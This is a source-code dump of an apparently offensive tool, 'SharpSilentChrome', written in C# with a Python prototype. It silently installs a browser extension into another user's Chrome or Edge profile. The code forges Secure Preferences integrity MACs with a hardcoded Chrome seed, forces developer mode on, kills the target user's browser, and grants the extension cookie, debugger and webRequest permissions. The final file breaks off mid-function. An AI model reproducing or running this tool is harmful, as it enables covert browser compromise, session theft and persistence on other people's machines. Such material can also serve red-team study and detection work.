54 | sid = arg.Substring(5).Trim('"');
55 | else if (arg.StartsWith("/profilepath:", StringComparison.OrdinalIgnoreCase))
56 | profilePath = arg.Substring(13).Trim('"');
57 | else if (arg.StartsWith("/path:", StringComparison.OrdinalIgnoreCase))
58 | extensionPath = arg.Substring(6).Trim('"');
59 | else if (arg.StartsWith("/browser:", StringComparison.OrdinalIgnoreCase))
60 | browser = arg.Substring(9).Trim('"').ToLower();
61 | else
62 | continue;
63 | }
64 |
65 | return (sid, profilePath, extensionPath, browser);
66 | }
67 |
68 | static (string sid, string profilePath, string browser) ParseRevertArgs(string[] args)
69 | {
70 | string sid = null, profilePath = null, browser = null;
71 |
72 | for (int i = 1; i < args.Length; i++)
73 | {
74 | var arg = args[i];
75 | if (arg.StartsWith("/sid:", StringComparison.OrdinalIgnoreCase))
76 | sid = arg.Substring(5).Trim('"');
77 | else if (arg.StartsWith("/profilepath:", StringComparison.OrdinalIgnoreCase))
78 | profilePath = arg.Substring(13).Trim('"');
79 | else if (arg.StartsWith("/browser:", StringComparison.OrdinalIgnoreCase))
80 | browser = arg.Substring(9).Trim('"').ToLower();
81 | else
82 | continue;
83 | }
84 |
85 | return (sid, profilePath, browser);
86 | }
87 |
88 | static void ExecuteInstall(string[] args)
89 | {
90 | var (sid, profilePath, extensionPath, browser) = ParseInstallArgs(args);
91 |
92 | // Argument null and sanity check
93 | if (string.IsNullOrWhiteSpace(sid) || string.IsNullOrWhiteSpace(profilePath) ||
94 | string.IsNullOrWhiteSpace(extensionPath) || string.IsNullOrWhiteSpace(browser))
95 | {
96 | Console.WriteLine($"[-] Invalid or missing arguments.\n");
97 | ShowUsage();
98 | return;
99 | }
100 | if (!Directory.Exists(extensionPath) || !Directory.Exists(profilePath))
101 | {
102 | Utils.WriteLine($"[-] Path not found: {(!Directory.Exists(extensionPath) ? extensionPath : profilePath)}");
103 | return;
104 | }
105 | if (browser != "chrome" && browser != "msedge")
106 | {
107 | Utils.WriteLine($"[-] Browser not supported: {browser}");
108 | return;
109 | }
110 |
111 | // Print arguments
112 | var extensionId = Utils.GetExtensionId(extensionPath);
113 |
114 | Utils.WriteLine($"[+] SID: {sid}");
115 | Utils.WriteLine($"[+] Profile Path: {profilePath}");
116 | Utils.WriteLine($"[+] Browser: {browser}");
117 | Utils.WriteLine($"[+] Extension Path: {extensionPath}");
118 | Utils.WriteLine($"[+] ExtID: {extensionId}");
119 | Utils.WriteLine("");
120 |
121 |
122 | // ========= Installing Extension =========
123 |
124 | // Create backup files first
125 | ExtensionInstaller.CreateBackup(profilePath, browser);
126 |
127 | // Check if process is running
128 | var IsProcRunning = ProcessUtils.IsProcessRunning(browser, sid, profilePath);
129 | Utils.WriteLine($"[+] Process Running: {IsProcRunning}");
130 |
131 | if (IsProcRunning)
132 | {
133 | // 1. Close process
134 | ProcessUtils.CloseProcesses(browser, sid, profilePath);
135 | Utils.WriteLine($"[+] {browser} processes closed for target user");
136 |
137 | // 2. Install Extension
138 | ExtensionInstaller.InstallExtension(sid, extensionPath, extensionId, profilePath, browser);
139 |
140 | // 3. Restart
141 | var currentUser = Environment.UserName;
142 | if (!profilePath.ToLower().Contains(currentUser.ToLower()))
143 | {
144 | Utils.WriteLine($"[+] Skipping browser restart - current user ({currentUser}) not found in profile path ({profilePath})");
145 | Utils.WriteLine($"[+] Browser will need to be started manually by the target user");
146 | }
147 | else
148 | {
149 | Utils.WriteLine($"[+] Restarting {browser}...");
150 | var exePath = ProcessUtils.FindBrowserExecutablePath(browser);
151 | var userDataDir = ProcessUtils.FindBrowserUserDataDir(profilePath, browser);
152 | ProcessUtils.RestartBrowser(exePath, userDataDir);
153 | }
154 | }
155 | else
156 | {
157 | // Just install
158 | ExtensionInstaller.InstallExtension(sid, extensionPath, extensionId, profilePath, browser);
159 | }
160 |
161 | Utils.WriteLine("[+] Done");
162 | }
163 |
164 | static void ExecuteRevert(string[] args)
165 | {
166 | var (sid, profilePath, browser) = ParseRevertArgs(args);
167 |
168 | // Argument null and sanity check
169 | if (string.IsNullOrWhiteSpace(profilePath) || string.IsNullOrWhiteSpace(browser))
170 | {
171 | Console.WriteLine($"[-] Invalid or missing arguments for revert.\n");
172 | ShowUsage();
173 | return;
174 | }
175 | if (!Directory.Exists(profilePath))
176 | {
177 | Utils.WriteLine($"[-] Profile path not found: {profilePath}");
178 | return;
179 | }
180 | if (browser != "chrome" && browser != "msedge")
181 | {
182 | Utils.WriteLine($"[-] Browser not supported: {browser}");
183 | return;
184 | }
185 |
186 | Utils.WriteLine($"[+] Reverting {browser} for profile: {profilePath}");
187 |
188 | var IsProcRunning = ProcessUtils.IsProcessRunning(browser, sid, profilePath);
189 | Utils.WriteLine($"[+] Process Running: {IsProcRunning}");
190 |
191 | if (IsProcRunning)
192 | {
193 | // 1. Close process
194 | ProcessUtils.CloseProcesses(browser, sid, profilePath);
195 | Utils.WriteLine($"[+] {browser} processes closed for target user");
196 |
197 | // 2. Revert the backup files
198 | ExtensionInstaller.RevertToBackup(profilePath, browser);
199 | Utils.WriteLine("[+] Revert completed");
200 |
201 | // 3. Restart
202 | var currentUser = Environment.UserName;
203 | if (!profilePath.ToLower().Contains(currentUser.ToLower()))
204 | {
205 | Utils.WriteLine($"[+] Skipping browser restart - current user ({currentUser}) not found in profile path ({profilePath})");
206 | Utils.WriteLine($"[+] Browser will need to be started manually by the target user");
207 | }
208 | else
209 | {
210 | Utils.WriteLine($"[+] Restarting {browser}...");
211 | var exePath = ProcessUtils.FindBrowserExecutablePath(browser);
212 | var userDataDir = ProcessUtils.FindBrowserUserDataDir(profilePath, browser);
213 | ProcessUtils.RestartBrowser(exePath, userDataDir);
214 | }
215 | }
216 | else
217 | {
218 | // Just revert extension
219 | ExtensionInstaller.RevertToBackup(profilePath, browser);
220 | Utils.WriteLine("[+] Revert completed");
221 | }
222 |
223 | }
224 | }
225 | }
226 |
--------------------------------------------------------------------------------
/misc/cursed.py:
--------------------------------------------------------------------------------
1 | import os
2 | import hmac
3 | import json
4 | from collections import OrderedDict
5 | import hashlib
6 |
7 | """
8 | Did not realize asaurusrex already had a python version uploaded in their github repo. https://github.com/asaurusrex/Silent_Chrome/blob/master/windows_silent_chrome.py
9 |
10 | Just wasted a bunch of time :(
11 | """
12 |
13 |
14 | #https://github.com/Pica4x6/SecurePreferencesFile
15 | def removeEmpty(d):
16 | if type(d) == type(OrderedDict()):
17 | t = OrderedDict(d)
18 | for x, y in t.items():
19 | if type(y) == (type(OrderedDict())):
20 | if len(y) == 0:
21 | del d[x]
22 | else:
23 | removeEmpty(y)
24 | if len(y) == 0:
25 | del d[x]
26 | elif(type(y) == type({})):
27 | if(len(y) == 0):
28 | del d[x]
29 | else:
30 | removeEmpty(y)
31 | if len(y) == 0:
32 | del d[x]
33 | elif (type(y) == type([])):
34 | if (len(y) == 0):
35 | del d[x]
36 | else:
37 | removeEmpty(y)
38 | if len(y) == 0:
39 | del d[x]
40 | else:
41 | if (not y) and (y not in [False, 0, ""]):
42 | del d[x]
43 |
44 | elif type(d) == type([]):
45 | for x, y in enumerate(d):
46 | if type(y) == type(OrderedDict()):
47 | if len(y) == 0:
48 | del d[x]
49 | else:
50 | removeEmpty(y)
51 | if len(y) == 0:
52 | del d[x]
53 | elif (type(y) == type({})):
54 | if (len(y) == 0):
55 | del d[x]
56 | else:
57 | removeEmpty(y)
58 | if len(y) == 0:
59 | del d[x]
60 | elif (type(y) == type([])):
61 | if (len(y) == 0):
62 | del d[x]
63 | else:
64 | removeEmpty(y)
65 | if len(y) == 0:
66 | del d[x]
67 | else:
68 | if (not y) and (y not in [False, 0, ""]):
69 | del d[x]
70 |
71 | #https://github.com/Pica4x6/SecurePreferencesFile
72 | def calculateHMAC(value_as_string, path, sid, seed):
73 | if ((type(value_as_string) == type({})) or (type(value_as_string) == type(OrderedDict()))):
74 | removeEmpty(value_as_string)
75 | message = sid + path + json.dumps(value_as_string, separators=(',', ':'), ensure_ascii=False).replace('<', '\\u003C').replace('\\u2122', '™')
76 | print(f'[+] HMAC message: {message}')
77 | print(message.encode("utf-8"))
78 | print([f"{b:02X}" for b in message.encode("utf-8")])
79 | hash_obj = hmac.new(seed, message.encode("utf-8"), hashlib.sha256)
80 |
81 | return hash_obj.hexdigest().upper()
82 |
83 | # removing .replace('<', '\\u003C').replace('\\u2122', '™')
84 |
85 | def calculate_chrome_dev_mac(seed: bytes, sid: str, pref_path: str, pref_value) -> str:
86 | """
87 | Calculates the HMAC-SHA256 for a Chrome protected preference.
88 |
89 | Parameters:
90 | seed (bytes): The secret key from PlatformKeys.
91 | sid (str): The Windows user SID.
92 | pref_path (str): The full preference path (e.g., "extensions.ui.developer_mode").
93 | pref_value: The preference value (e.g., True, False, a string, etc.).
94 |
95 | Returns:
96 | str: The hexadecimal HMAC digest.
97 | """
98 | # Serialize the value to canonical JSON (compact, sorted if needed)
99 | serialized_value = json.dumps(pref_value, separators=(',', ':'), sort_keys=True)
100 |
101 | # Build the input string
102 | hmac_input = (sid + pref_path + serialized_value).encode('utf-8')
103 |
104 | # Calculate the HMAC-SHA256
105 | return hmac.new(seed, hmac_input, hashlib.sha256).hexdigest()
106 |
107 | #https://github.com/Pica4x6/SecurePreferencesFile
108 | def calc_supermac(json_file, sid, seed):
109 | # Reads the file
110 | json_data = open(json_file, encoding="utf-8")
111 | data = json.load(json_data, object_pairs_hook=OrderedDict)
112 | json_data.close()
113 | temp = OrderedDict(sorted(data.items()))
114 | data = temp
115 |
116 | # Calculates and sets the super_mac
117 | super_msg = sid + json.dumps(data['protection']['macs']).replace(" ", "")
118 | hash_obj = hmac.new(seed, super_msg.encode("utf-8"), hashlib.sha256)
119 | return hash_obj.hexdigest().upper()
120 |
121 | def add_extension(user, sid, extension_path, extension_id):
122 | escaped_path = json.dumps(extension_path)[1:-1]
123 |
124 | print(f'[+] Using extension path: {escaped_path}')
125 | print(f'[+] Extension name: {extension_id}')
126 |
127 | extension_json = r"""{
128 | "active_permissions": {
129 | "api": [
130 | "activeTab",
131 | "cookies",
132 | "debugger",
133 | "webNavigation",
134 | "webRequest",
135 | "scripting"
136 | ],
137 | "explicit_host": [
138 | ""
139 | ],
140 | "manifest_permissions": [],
141 | "scriptable_host": []
142 | },
143 | "commands": {},
144 | "content_settings": [],
145 | "creation_flags": 38,
146 | "filtered_service_worker_events": {
147 | "webNavigation.onCompleted": [
148 | {}
149 | ]
150 | },
151 | "first_install_time": "13364417633506288",
152 | "from_webstore": false,
153 | "granted_permissions": {
154 | "api": [
155 | "activeTab",
156 | "cookies",
157 | "debugger",
158 | "webNavigation",
159 | "webRequest",
160 | "scripting"
161 | ],
162 | "explicit_host": [
163 | ""
164 | ],
165 | "manifest_permissions": [],
166 | "scriptable_host": []
167 | },
168 | "incognito_content_settings": [],
169 | "incognito_preferences": {},
170 | "last_update_time": "13364417633506288",
171 | "location": 4,
172 | "newAllowFileAccess": true,
173 | "path": "__EXTENSION_PATH__",
174 | "preferences": {},
175 | "regular_only_preferences": {},
176 | "service_worker_registration_info": {
177 | "version": "0.1.1"
178 | },
179 | "serviceworkerevents": [
180 | "cookies.onChanged",
181 | "webRequest.onBeforeRequest/s1"
182 | ],
183 | "state": 1,
184 | "was_installed_by_default": false,
185 | "was_installed_by_oem": false,
186 | "withholding_permissions": false
187 | }"""
188 |
189 | extension_json = extension_json.replace('__EXTENSION_PATH__', escaped_path)
190 |
191 | # Using Secure Preferences
192 | dict_extension=json.loads(extension_json, object_pairs_hook=OrderedDict)
193 | filepath="C:\\users\\{}\\appdata\\local\\Google\\Chrome\\User Data\\Default\\Secure Preferences".format(user)
194 | with open(filepath, 'rb') as f:
195 | data = f.read()
196 | f.close()
197 |
198 | # Loading json data
199 | data=json.loads(data,object_pairs_hook=OrderedDict)
200 |
201 | # Enable dev mode & update protection for dev mode
202 | try:
203 | data["extensions"]["ui"]["developer_mode"]=True
204 | print(f'[+] Enabling dev mode')
205 | except KeyError: # means extensions: UI is not found
206 | data["extensions"].setdefault("ui", OrderedDict())
207 | data["extensions"]["ui"]["developer_mode"] = OrderedDict()
208 | data["extensions"]["ui"]["developer_mode"]= True
209 | print(f'[+] Dev mode never enabled. Creating and Enabling dev mode')
210 | print(f'[+] Enabling dev mode')
211 |
212 | print(f'[+] Dev mode: {data["extensions"]["ui"]["developer_mode"]}')
213 |
214 | #convert to ordereddict for calc and addition
215 | data["extensions"]["settings"][extension_id]=dict_extension
216 |
217 | ###calculate hash for [protect][mac]
218 | path=f"extensions.settings.{extension_id}"
219 | print(f'[+] path: {path}')
220 |
221 | #hardcoded seed
222 | seed=b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'
223 | macs = calculateHMAC(dict_extension, path, sid, seed)
224 | print(f'[+] calculated HMAC: {macs}')
225 |
226 | #add macs to json file
227 | data["protection"]["macs"]["extensions"]["settings"][extension_id]=macs
228 |
229 | # Add mac for protection ui developer mode
230 | pref_path = "extensions.ui.developer_mode"
231 | pref_value = True
232 | mac = calculate_chrome_dev_mac(seed, sid, pref_path, pref_value)
233 | try:
234 | data["protection"]["macs"]["extensions"]["ui"]["developer_mode"]=mac
235 | except KeyError:
236 | print("Need to toggle developer mode")
237 | sys.exit()
238 | devmode_value=r'{"developer_mode": true}'
239 | parseddevmode=json.loads(devmode_value, object_pairs_hook=OrderedDict)
240 |
241 | newdata=json.dumps(data)
242 | with open(filepath, 'w') as z:
243 | z.write(newdata)
244 | print(f'[+] Successfully updated secure preferences file with new extension')
245 | z.close()
246 |
247 | ###recalculate and replace super_mac
248 | supermac=calc_supermac(filepath,sid,seed)
249 | print(f'[+] updated supermac: {supermac}')
250 | data["protection"]["super_mac"]=supermac
251 | newdata=json.dumps(data)
252 | with open(filepath, 'w') as z:
253 | z.write(newdata)
254 | print(f'[+] Successfully updated secure preferences with supermac')
255 | z.close()
256 |
257 | def get_extension_id(path):
258 | m=hashlib.sha256()
259 | m.update(bytes(path.encode('utf-16-le')))
260 | EXTID = ''.join([chr(int(i, base=16) + ord('a')) for i in m.hexdigest()][:32])
261 | print("Using ExtID: {}".format(EXTID))
262 | return EXTID
263 |
264 | if __name__ == "__main__":
265 | user=os.getlogin()
266 | sid='S-1-5-21-2888908146-1342698428-1910144870'
267 | extension_path='C:\\Users\\Public\\Downloads\\extension'
268 | extension_id = get_extension_id(extension_path)
269 | print(f'[+] User: {user}')
270 |
271 | add_extension(user, sid, extension_path, extension_id)
--------------------------------------------------------------------------------
/ExtensionInstaller.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Text;
4 | using Newtonsoft.Json;
5 | using Newtonsoft.Json.Linq;
6 |
7 | using static SharpSilentChrome.HmacUtils;
8 |
9 | namespace SharpSilentChrome
10 | {
11 | static class ExtensionInstaller
12 | {
13 | static void SafeSet(JObject parent, string key, JObject defaultValue, out JObject result)
14 | {
15 | if (parent[key] is JObject obj)
16 | result = obj;
17 | else
18 | {
19 | parent[key] = defaultValue;
20 | result = defaultValue;
21 | }
22 | }
23 |
24 | public static string GetUserProfilePathFromSID(string sid)
25 | {
26 | try
27 | {
28 | string regPath = $@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{sid}";
29 | object profileImagePath = Microsoft.Win32.Registry.GetValue(regPath, "ProfileImagePath", null);
30 |
31 | if (profileImagePath == null)
32 | {
33 | Utils.WriteLine($"[-] Could not find profile path for SID: {sid}");
34 | return null;
35 | }
36 |
37 | string userProfilePath = profileImagePath.ToString();
38 |
39 | Utils.WriteLine($"[+] Found user profile: {userProfilePath}");
40 | Utils.WriteLine("");
41 |
42 | return userProfilePath;
43 | }
44 | catch (Exception ex)
45 | {
46 | Utils.WriteLine($"[-] Error resolving SID {sid}: {ex.Message}");
47 | return null;
48 | }
49 | }
50 |
51 | public static void InstallExtension(string sid, string extensionPath, string extensionId, string profilePath, string browser)
52 | {
53 | var (securePrefsPath, prefsPath) = Utils.GetPrefsPaths(profilePath, browser);
54 |
55 | // Check if browser is supported
56 | if (securePrefsPath == null || prefsPath == null)
57 | {
58 | Utils.WriteLine($"[-] Cannot install extension - browser '{browser}' is not supported");
59 | return;
60 | }
61 |
62 | // Check if files exists
63 | if (!File.Exists(securePrefsPath) || !File.Exists(prefsPath))
64 | {
65 | Utils.WriteLine($"[-] Secure Preferences or Preferences file not found: {securePrefsPath} or {prefsPath}");
66 | Utils.WriteLine($"[+] User may not have used {browser} yet - files will be created on first browser launch");
67 | return;
68 | }
69 |
70 | // Install secure preferences first
71 | AddExtension(sid, extensionPath, extensionId, securePrefsPath, browser);
72 | Utils.WriteLine($"[+] Installed extension to Secure Preferences: {securePrefsPath}");
73 |
74 | // Install preferences second
75 | AddExtension(sid, extensionPath, extensionId, prefsPath, browser);
76 | Utils.WriteLine($"[+] Installed extension to Preferences: {prefsPath}");
77 | }
78 |
79 | static void AddExtension(string sid, string extensionPath, string extensionId, string prefFilePath, string browser)
80 | {
81 | var escaped = JsonConvert.ToString(extensionPath).Trim('"');
82 | var template = GetExtensionTemplateJSON();
83 | var installTime = EncodeToInstallTime(DateTime.Now).ToString();
84 | var extJson = template.Replace("__EXTENSION_PATH__", escaped)
85 | .Replace("__INSTALL_TIME__", installTime);
86 | var dictExt = JObject.Parse(extJson);
87 |
88 | var content = File.ReadAllText(prefFilePath, Encoding.UTF8);
89 | var data = JObject.Parse(content);
90 |
91 | // Enable dev mode
92 | SafeSet(data, "extensions", new JObject(), out var ext);
93 | SafeSet(ext, "ui", new JObject(), out var ui);
94 | ui["developer_mode"] = true;
95 |
96 | // Set profile exit_type to Normal
97 | SafeSet(data, "profile", new JObject(), out var profile);
98 | profile["exit_type"] = "Normal";
99 |
100 | // Add extension settings
101 | SafeSet(ext, "settings", new JObject(), out var settings);
102 | settings[extensionId] = dictExt;
103 |
104 | // Seeds for different browsers
105 | var seed = new byte[] {};
106 |
107 | if (browser.ToLower() == "chrome")
108 | {
109 | seed = new byte[] {
110 | 0xe7, 0x48, 0xf3, 0x36, 0xd8, 0x5e, 0xa5, 0xf9, 0xdc, 0xdf, 0x25, 0xd8, 0xf3, 0x47, 0xa6, 0x5b,
111 | 0x4c, 0xdf, 0x66, 0x76, 0x00, 0xf0, 0x2d, 0xf6, 0x72, 0x4a, 0x2a, 0xf1, 0x8a, 0x21, 0x2d, 0x26,
112 | 0xb7, 0x88, 0xa2, 0x50, 0x86, 0x91, 0x0c, 0xf3, 0xa9, 0x03, 0x13, 0x69, 0x68, 0x71, 0xf3, 0xdc,
113 | 0x05, 0x82, 0x37, 0x30, 0xc9, 0x1d, 0xf8, 0xba, 0x5c, 0x4f, 0xd9, 0xc8, 0x84, 0xb5, 0x05, 0xa8
114 | };
115 | }
116 | else if (browser.ToLower() == "msedge")
117 | {
118 | seed = new byte[] { };
119 | }
120 |
121 | var path = $"extensions.settings.{extensionId}";
122 | // trim the last "-" of the SID to calculate HMAC
123 | var mac = CalculateHMAC(dictExt, path, sid.Substring(0, sid.LastIndexOf('-')), seed);
124 |
125 | SafeSet(data, "protection", new JObject(), out var protection);
126 | SafeSet(protection, "macs", new JObject(), out var macs);
127 | SafeSet(macs, "extensions", new JObject(), out var extMacs);
128 | SafeSet(extMacs, "settings", new JObject(), out var settingsMac);
129 | settingsMac[extensionId] = mac;
130 | Utils.WriteLine($"[+] Extension HMAC: {mac}");
131 |
132 | var devMac = CalculateChromeDevMac(seed, sid, "extensions.ui.developer_mode", true);
133 | SafeSet(extMacs, "ui", new JObject(), out var uiMac);
134 | uiMac["developer_mode"] = devMac;
135 | Utils.WriteLine($"[+] Dev mode protection HMAC: {devMac}");
136 |
137 | // First write
138 | File.WriteAllText(prefFilePath, data.ToString(Formatting.None), Encoding.UTF8);
139 |
140 | // Second write - with updated super_mac
141 | var super = CalcSuperMac(prefFilePath, sid, seed);
142 | protection["super_mac"] = super;
143 | File.WriteAllText(prefFilePath, data.ToString(Formatting.None), Encoding.UTF8);
144 | Utils.WriteLine($"[+] Updated Super_MAC: {super}");
145 | }
146 |
147 | public static void CreateBackup(string profilePath, string browser)
148 | {
149 | var (securePrefsPath, prefsPath) = Utils.GetPrefsPaths(profilePath, browser);
150 |
151 | // Check if browser is supported
152 | if (securePrefsPath == null || prefsPath == null)
153 | {
154 | Utils.WriteLine($"[-] Cannot create backup - browser '{browser}' is not supported");
155 | return;
156 | }
157 |
158 | // Create backup for Secure Preferences
159 | if (File.Exists(securePrefsPath))
160 | {
161 | string backupPath = securePrefsPath + ".backupssc";
162 | try
163 | {
164 | File.Copy(securePrefsPath, backupPath, true);
165 | Utils.WriteLine($"[+] Created backup: {securePrefsPath}.backupssc");
166 | }
167 | catch (Exception ex)
168 | {
169 | Utils.WriteLine($"[-] Failed to create backup: {ex.Message}");
170 | }
171 | }
172 | else
173 | {
174 | Utils.WriteLine($"[-] File not found: {securePrefsPath}");
175 | }
176 |
177 | // Create backup for Preferences
178 | if (File.Exists(prefsPath))
179 | {
180 | string backupPath = prefsPath + ".backupssc";
181 | try
182 | {
183 | File.Copy(prefsPath, backupPath, true);
184 | Utils.WriteLine($"[+] Created backup: {prefsPath}.backupssc");
185 | }
186 | catch (Exception ex)
187 | {
188 | Utils.WriteLine($"[-] Failed to create backup: {ex.Message}");
189 | }
190 | }
191 | else
192 | {
193 | Utils.WriteLine($"[-] File not found: {prefsPath}");
194 | }
195 | }
196 |
197 | public static void RevertToBackup(string profilePath, string browser)
198 | {
199 | var (securePrefsPath, prefsPath) = Utils.GetPrefsPaths(profilePath, browser);
200 |
201 | // Check if browser is supported
202 | if (securePrefsPath == null || prefsPath == null)
203 | {
204 | Utils.WriteLine($"[-] Cannot revert backup - browser '{browser}' is not supported");
205 | return;
206 | }
207 |
208 | // Update and revert Secure Preferences backup
209 | string securePrefsBackup = securePrefsPath + ".backupssc";
210 | if (File.Exists(securePrefsBackup))
211 | {
212 | try
213 | {
214 | // Update backup file with exit_type Normal
215 | var content = File.ReadAllText(securePrefsBackup, Encoding.UTF8);
216 | var data = JObject.Parse(content);
217 | SafeSet(data, "profile", new JObject(), out var profile);
218 | profile["exit_type"] = "Normal";
219 | File.WriteAllText(securePrefsBackup, data.ToString(Formatting.None), Encoding.UTF8);
220 | Utils.WriteLine($"[+] Updated Secure Preferences backup with exit_type Normal");
221 |
222 | File.Copy(securePrefsBackup, securePrefsPath, true);
223 | Utils.WriteLine($"[+] Reverted Secure Preferences from backup: {securePrefsBackup}");
224 | }
225 | catch (Exception ex)
226 | {
227 | Utils.WriteLine($"[-] Failed to revert Secure Preferences: {ex.Message}");
228 | }
229 |
230 | File.Delete(securePrefsBackup);
231 | Utils.WriteLine($"[+] Deleted backup: {securePrefsBackup}");
232 | }
233 | else
234 | {
235 | Utils.WriteLine($"[-] Secure Preferences backup not found: {securePrefsBackup}");
236 | }
237 |
238 | // Update and revert Preferences backup
239 | string prefsBackup = prefsPath + ".backupssc";
240 | if (File.Exists(prefsBackup))
241 | {
242 | try
243 | {
244 | // Update backup file with exit_type Normal
245 | var content = File.ReadAllText(prefsBackup, Encoding.UTF8);
246 | var data = JObject.Parse(content);
247 | SafeSet(data, "profile", new JObject(), out var profile);
248 | profile["exit_type"] = "Normal";
249 | File.WriteAllText(prefsBackup, data.ToString(Formatting.None), Encoding.UTF8);
250 | Utils.WriteLine($"[+] Updated Preferences backup with exit_type Normal");
251 |
252 | File.Copy(prefsBackup, prefsPath, true);
253 | Utils.WriteLine($"[+] Reverted Preferences from backup: {prefsBackup}");
254 | }
255 | catch (Exception ex)
256 | {
257 | Utils.WriteLine($"[-] Failed to revert Preferences: {ex.Message}");
258 | }
259 |
260 | File.Delete(prefsBackup);
261 | Utils.WriteLine($"[+] Deleted backup: {prefsBackup}");
262 | }
263 | else
264 | {
265 | Utils.WriteLine($"[-] Preferences backup not found: {prefsBackup}");
266 | }
267 | }
268 |
269 | static long EncodeToInstallTime(DateTime date)
270 | {
271 | var baseDate = new DateTime(1970, 1, 1, 0, 0, 0);
272 | var differenceInSeconds = (date - baseDate).TotalSeconds;
273 | var installTime = (long)(differenceInSeconds * 1000000) + 11644473600000000;
274 | return installTime;
275 | }
276 |
277 | // Update active/granted permissions and other stuffs for your needs
278 | static string GetExtensionTemplateJSON()
279 | {
280 | return @"{
281 | ""active_permissions"": {
282 | ""api"": [
283 | ""activeTab"",
284 | ""cookies"",
285 | ""webNavigation"",
286 | ""webRequest"",
287 | ""scripting"",
288 | ""declarativeNetRequest""
289 | ],
290 | ""explicit_host"": [
291 | """"
292 | ],
293 | ""manifest_permissions"": [],
294 | ""scriptable_host"": []
295 | },
296 | ""commands"": {},
297 | ""content_settings"": [],
298 | ""creation_flags"": 38,
299 | ""filtered_service_worker_events"": {
300 | ""webNavigation.onCompleted"": [
301 | {}
302 | ]
303 | },
304 | ""first_install_time"": ""__INSTALL_TIME__"",
305 | ""from_webstore"": false,
306 | ""granted_permissions"": {
307 | ""api"": [
308 | ""activeTab"",
309 | ""cookies"",
310 | ""debugger"",
311 | ""webNavigation"",
312 | ""webRequest"",
313 | ""scripting"",
314 | ""declarativeNetRequest""
315 | ],
316 | ""explicit_host"": [
317 | """"
318 | ],
319 | ""manifest_permissions"": [],
320 | ""scriptable_host"": []
321 | },
322 | ""incognito_content_settings"": [],
323 | ""incognito_preferences"": {},
324 | ""last_update_time"": ""__INSTALL_TIME__"",
325 | ""location"": 4,
326 | ""newAllowFileAccess"": true,
327 | ""path"": ""__EXTENSION_PATH__"",
328 | ""preferences"": {},
329 | ""regular_only_preferences"": {},
330 | ""service_worker_registration_info"": {
331 | ""version"": ""1.0.0""
332 | },
333 | ""serviceworkerevents"": [
334 | ""cookies.onChanged"",
335 | ""webRequest.onBeforeRequest/s1""
336 | ],
337 | ""state"": 1,
338 | ""was_installed_by_default"": false,
339 | ""was_installed_by_oem"": false,
340 | ""withholding_permissions"": false
341 | }";
342 | }
343 | }
344 | }
345 |
--------------------------------------------------------------------------------
/ProcessUtils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Management;
6 | using System.Runtime.InteropServices;
7 | using System.Text;
8 |
9 | namespace SharpSilentChrome
10 | {
11 | static class ProcessUtils
12 | {
13 | // Win32 API declarations for SID to username conversion
14 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
15 | private static extern bool LookupAccountSid(
16 | string lpSystemName,
17 | IntPtr Sid,
18 | StringBuilder lpName,
19 | ref int cchName,
20 | StringBuilder lpReferencedDomainName,
21 | ref int cchReferencedDomainName,
22 | out int peUse);
23 |
24 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
25 | private static extern bool ConvertStringSidToSid(
26 | string StringSid,
27 | out IntPtr Sid);
28 |
29 | [DllImport("advapi32.dll", SetLastError = true)]
30 | private static extern void FreeSid(IntPtr pSid);
31 |
32 | private static string GetUsernameFromSid(string sid)
33 | {
34 | try
35 | {
36 | if (string.IsNullOrEmpty(sid))
37 | return null;
38 |
39 | IntPtr pSid;
40 | if (!ConvertStringSidToSid(sid, out pSid))
41 | {
42 | Utils.WriteLine($"[-] Failed to convert SID to binary format: {sid}");
43 | return null;
44 | }
45 |
46 | try
47 | {
48 | int nameSize = 256;
49 | int domainSize = 256;
50 | StringBuilder name = new StringBuilder(nameSize);
51 | StringBuilder domain = new StringBuilder(domainSize);
52 | int sidType;
53 |
54 | if (LookupAccountSid(null, pSid, name, ref nameSize, domain, ref domainSize, out sidType))
55 | {
56 | string username = name.ToString();
57 | Utils.WriteLine($"[+] Resolved SID {sid} to username: {username}");
58 | return username;
59 | }
60 | else
61 | {
62 | int error = Marshal.GetLastWin32Error();
63 | Utils.WriteLine($"[-] Failed to lookup account SID {sid}, error: {error}");
64 | return null;
65 | }
66 | }
67 | finally
68 | {
69 | FreeSid(pSid);
70 | }
71 | }
72 | catch (Exception ex)
73 | {
74 | Utils.WriteLine($"[-] Error resolving SID {sid} to username: {ex.Message}");
75 | return null;
76 | }
77 | }
78 |
79 | private static string GetUsernameFromProfilePath(string profilePath)
80 | {
81 | try
82 | {
83 | if (string.IsNullOrEmpty(profilePath))
84 | return null;
85 |
86 | // Extract username from profile path
87 | var username = Path.GetFileName(profilePath);
88 | Utils.WriteLine($"[+] Extracted username from profile path: {username}");
89 | return username;
90 | }
91 | catch (Exception ex)
92 | {
93 | Utils.WriteLine($"[-] Error extracting username from profile path {profilePath}: {ex.Message}");
94 | return null;
95 | }
96 | }
97 | public static bool IsProcessRunning(string processName, string sid = null, string profilePath = null)
98 | {
99 | try
100 | {
101 | // Determine username from SID first, then fall back to profile path
102 | string username = null;
103 |
104 | if (!string.IsNullOrEmpty(sid))
105 | {
106 | username = GetUsernameFromSid(sid);
107 | }
108 |
109 | if (string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(profilePath))
110 | {
111 | username = GetUsernameFromProfilePath(profilePath);
112 | }
113 |
114 | if (string.IsNullOrEmpty(username))
115 | {
116 | Utils.WriteLine($"[-] Failed to get username from SID or profile path");
117 | return false;
118 | }
119 |
120 | // Use WMI to get processes by name and owner
121 | var query = $"SELECT ProcessId, Name FROM Win32_Process WHERE Name = '{processName}.exe'";
122 | var searcher = new ManagementObjectSearcher(query);
123 | var processes = searcher.Get();
124 |
125 | foreach (ManagementObject process in processes)
126 | {
127 | try
128 | {
129 | var processId = Convert.ToInt32(process["ProcessId"]);
130 |
